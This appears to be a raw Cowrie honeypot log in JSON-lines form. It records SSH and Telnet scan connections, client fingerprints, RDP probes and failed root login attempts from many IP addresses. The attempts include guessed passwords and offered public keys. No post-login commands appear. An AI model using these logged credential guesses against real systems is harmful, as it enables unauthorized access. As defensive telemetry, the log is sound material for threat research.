{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [root/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:10.526226Z","src_ip":"45.117.179.232","session":"7bef1a3a171f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38174,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f69b8bb91ec","protocol":"telnet","message":"New connection: 152.42.224.71:38174 (10.17.0.5:23) [session: 0f69b8bb91ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:11.538829Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:11.786990Z","src_ip":"45.117.179.232","session":"7bef1a3a171f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":56126,"dst_ip":"159.203.135.109","dst_port":22,"session":"20ca2789df9d","protocol":"ssh","message":"New connection: 59.16.212.232:56126 (159.203.135.109:22) [session: 20ca2789df9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:14.358639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:14.367693Z","src_ip":"59.16.212.232","session":"20ca2789df9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:14.570083Z","src_ip":"59.16.212.232","session":"20ca2789df9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2025","message":"login attempt [root/Admin2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:15.416350Z","src_ip":"59.16.212.232","session":"20ca2789df9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:16.621860Z","src_ip":"59.16.212.232","session":"20ca2789df9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.52853608131409,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:19.260227Z","src_ip":"152.42.224.71","session":"b33044cdc545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":49094,"dst_ip":"10.17.0.5","dst_port":22,"session":"783dbf834398","protocol":"ssh","message":"New connection: 49.51.200.156:49094 (10.17.0.5:22) [session: 783dbf834398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:21.964797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:21.976099Z","src_ip":"49.51.200.156","session":"783dbf834398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:22.041214Z","src_ip":"49.51.200.156","session":"783dbf834398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Za123456","message":"login attempt [root/Za123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:22.311406Z","src_ip":"49.51.200.156","session":"783dbf834398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:23.385005Z","src_ip":"49.51.200.156","session":"783dbf834398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49098,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4e7d92f03d0","protocol":"ssh","message":"New connection: 103.27.238.114:49098 (10.17.0.5:22) [session: b4e7d92f03d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:23.856400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:23.861013Z","src_ip":"103.27.238.114","session":"b4e7d92f03d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:24.124465Z","src_ip":"103.27.238.114","session":"b4e7d92f03d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super123","message":"login attempt [root/super123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:24.914890Z","src_ip":"103.27.238.114","session":"b4e7d92f03d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:26.183563Z","src_ip":"103.27.238.114","session":"b4e7d92f03d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.04537034034729,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:32.096393Z","src_ip":"152.42.224.71","session":"448129153e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45274,"dst_ip":"10.17.0.5","dst_port":22,"session":"da1366b2b6dd","protocol":"ssh","message":"New connection: 103.75.182.198:45274 (10.17.0.5:22) [session: da1366b2b6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:32.334892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:32.339781Z","src_ip":"103.75.182.198","session":"da1366b2b6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:32.590725Z","src_ip":"103.75.182.198","session":"da1366b2b6dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"russia","message":"login attempt [root/russia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:33.345664Z","src_ip":"103.75.182.198","session":"da1366b2b6dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:34.602997Z","src_ip":"103.75.182.198","session":"da1366b2b6dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":65468,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae8b8ebf7f75","protocol":"ssh","message":"New connection: 167.172.81.52:65468 (10.17.0.5:22) [session: ae8b8ebf7f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:36.238796Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:36.243735Z","src_ip":"167.172.81.52","session":"ae8b8ebf7f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:36.247286Z","src_ip":"167.172.81.52","session":"ae8b8ebf7f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52466,"dst_ip":"10.17.0.5","dst_port":23,"session":"c49edb9fb327","protocol":"telnet","message":"New connection: 152.42.224.71:52466 (10.17.0.5:23) [session: c49edb9fb327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:36.827615Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35864,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc5214ed0f4","protocol":"telnet","message":"New connection: 152.42.224.71:35864 (10.17.0.5:23) [session: dfc5214ed0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:37.827873Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":45632,"dst_ip":"10.17.0.5","dst_port":22,"session":"44d4fd7e233b","protocol":"ssh","message":"New connection: 185.242.234.173:45632 (10.17.0.5:22) [session: 44d4fd7e233b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:41.991712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:42.868432Z","src_ip":"185.242.234.173","session":"44d4fd7e233b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:42.872509Z","src_ip":"185.242.234.173","session":"44d4fd7e233b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2021","message":"login attempt [root/qwer@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:43.785116Z","src_ip":"185.242.234.173","session":"44d4fd7e233b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64525,"dst_ip":"159.203.135.109","dst_port":22,"session":"3be33a19ce7e","protocol":"ssh","message":"New connection: 152.42.212.128:64525 (159.203.135.109:22) [session: 3be33a19ce7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:44.295589Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:44.301863Z","src_ip":"152.42.212.128","session":"3be33a19ce7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:44.307336Z","src_ip":"152.42.212.128","session":"3be33a19ce7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:44.993638Z","src_ip":"185.242.234.173","session":"44d4fd7e233b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.60.130","src_port":38034,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e3b8eb09fc4","protocol":"ssh","message":"New connection: 198.98.60.130:38034 (10.17.0.5:22) [session: 9e3b8eb09fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.092299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.099862Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.108598Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:d8:fe:88:9b:d4:e8:8e:8b:d8:fe:6b:4e:c2:e1:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjt3UmFlOxetgf9TWJITTkvzIiBrIyh1mMAzhUn/RKDVwrvrUrRM+NEtaU9mG9+4awObpwaM961M//iQJys8C7sSrFJd6bV9pxAlMNlmLyD/nyrE1aV0KtzeCp4uROCq+FcS19JdNv7b7u5O98r5II9+SCYTaReazsBsWY0019ludNiaYu6ljUNQjqKrBRshTUMyIeMURq4PREAI1xBwwujbUZnOpPjeq6HUQ1V+B7Mmb0wcBAZIeu8O57AI5ZPUiEFCU+03lKJWH1QY6yGD2yY7O+xGr6pb1TAxJsqZm2ZsoBljz3QdmCEGU6sfdcVZnZfLxAyMIfX3UZ6+S74PLd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:d8:fe:88:9b:d4:e8:8e:8b:d8:fe:6b:4e:c2:e1:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.129536Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:d8:fe:88:9b:d4:e8:8e:8b:d8:fe:6b:4e:c2:e1:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjt3UmFlOxetgf9TWJITTkvzIiBrIyh1mMAzhUn/RKDVwrvrUrRM+NEtaU9mG9+4awObpwaM961M//iQJys8C7sSrFJd6bV9pxAlMNlmLyD/nyrE1aV0KtzeCp4uROCq+FcS19JdNv7b7u5O98r5II9+SCYTaReazsBsWY0019ludNiaYu6ljUNQjqKrBRshTUMyIeMURq4PREAI1xBwwujbUZnOpPjeq6HUQ1V+B7Mmb0wcBAZIeu8O57AI5ZPUiEFCU+03lKJWH1QY6yGD2yY7O+xGr6pb1TAxJsqZm2ZsoBljz3QdmCEGU6sfdcVZnZfLxAyMIfX3UZ6+S74PLd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.137672Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:ab:dc:ac:f2:06:61:7f:32:c1:79:4e:f3:3b:6d:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuEhdEqjrcPDPWKwKBYnlhlCxHOhV2DsiZYBn7ot7jBZ2vV5ZJOW9KwAbuGdf/vqwSiaTzbL7ld9B3tnvtSQEdgtYWD2yAoXdYicaSmIMr1fOxZQ/EPTB8Nc1xII0cZdyoUXgrExZAlEhYmfMtvcgZDeOXkKyKnvLJmRn5daNS6UOqwqJOLktkZKzVC1XfJY3ZmpDPYxBGuUe9lrfcIf5vcVs+D96KRIE2zD3PryZdCHqbT7bXzhj9DanwtAS/mHPrSWnkv7KmfuchJiRd//X9plyswmNa8CYJSFQpJTekt2Fwj4r20tAZHhEpE/E2hkX1Tse0OPkpZklH8aJkYdbtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:ab:dc:ac:f2:06:61:7f:32:c1:79:4e:f3:3b:6d:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:48:48.153285Z","src_ip":"198.98.60.130","session":"9e3b8eb09fc4","protocol":"ssh"}
